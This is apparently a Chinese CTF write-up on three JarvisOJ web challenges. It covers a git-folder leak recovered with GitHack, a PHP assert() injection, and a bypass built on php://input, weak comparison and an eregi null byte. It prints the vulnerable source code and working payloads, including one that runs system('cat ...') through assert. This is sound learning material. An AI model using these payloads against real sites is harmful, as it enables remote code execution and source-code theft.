JarvisOj平台做题总结-2


1. api调用

[题目writerup链接: ]
(http://grassgrass.top/2017/12/14/XXE%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0%E5%8F%8A%E5%AE%9E%E9%99%85%E5%BA%94%E7%94%A8/#more)

2. babyphp

题目链接: http://web.jarvisoj.com:32798/

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码。
Git信息泄露的危害很大,渗透测试人员、攻击者,可直接从源码获取敏感配置信息(如:邮箱,数据库),也可以进一步审计代码,挖掘文件上传、SQL注射等安全漏洞。

查看源码
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
由提示大概知道是要使page传参为flag

根据提示判断是git源码泄露: http://web.jarvisoj.com:32798/.git
返回报错403,可以确定是.git文件泄露

用Githack(git泄露脚本)获取网站文件

发现了flag文件,但是是空的
找到index.php,根据源代码构造绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];#
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
#此处没有限制传入page参数,所以造成了注入漏洞,思路是闭合strops函数读取flag文件
assert("file_exists('$file')") or die("That file doesn't exist!");
#则限制了该文件需要在templates文件夹中,否则返回错误
#assert()简介:判断一个表达式是否成立。返回true or false;当参数为字符串时,会被当作php代码执行。

?>

闭合strops函数然后使用file_get_contents函数读取flag;或者使用system函数输出flag。

由于文件是utf-8编码,所以再变换一次字符编码则得到payload。(记得要加上#或者//注释掉后面的‘.php’)

进入phpinfo界面则证明出现漏洞

1
/?page=',''..')===False%20and%20phpinfo();//

payload:
1
2
3
/?page=','..')===False%20and%20system(%27cat%20templates/flag.php%27);//

/?page=','..')===False%20and%20print_r(file_get_contents(%27templates/flag.php%27));//

取得flag:
<?php
// TODO
//$FLAG = ‘61dctf{8e_careful_when_us1ng_ass4rt}’;
?>

3. in a mess

题目链接:http://web.jarvisoj.com:32780/index.php?id=1

查看源代码根据提示进入index.phps网页
可以看出index.phps是index.php的源代码

依旧是构造绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
header('Location: index.php?id=1');#header()函数:重定向浏览器实现页面跳转
exit();
}
#header()函数:重定向浏览器实现页面跳转,页面重定向为id=1
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
#stripos函数是用于查找"."出现的位置,a用伪协议php://input
$data = @file_get_contents($a,'r');
#file_get_contents() 函数把整个文件读入一个字符串中。
#两种做法一种是在本地写一个文件然后上传在自己的服务器上,然后根据10进制ip绕过(这个操作不会= =);二是用php伪协议postdata这一段数据过去(php://input可以读取没有处理的post数据)

if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
#eregi,int eregi(string pattern, string string, [array regs]); ----字符串比对解析,与大小写无关。
#substr() 函数返回字符串的一部分。
#eregi("111",substr($b,0,1),"1114")=1;当$b存在时会报错且b的长度应大于5,eregi遇见%00终止
#id==0弱类型比较,传入id=0a(传入0时视为空= =)
else
{
print "work harder!harder!harder!";
}

?>

故payload如下:http://web.jarvisoj.com:32780/index.php?id=0a&a=php://input&b=%0011111,
post过去的数据为1112 is a nice lab!


emmmm还没写完qwq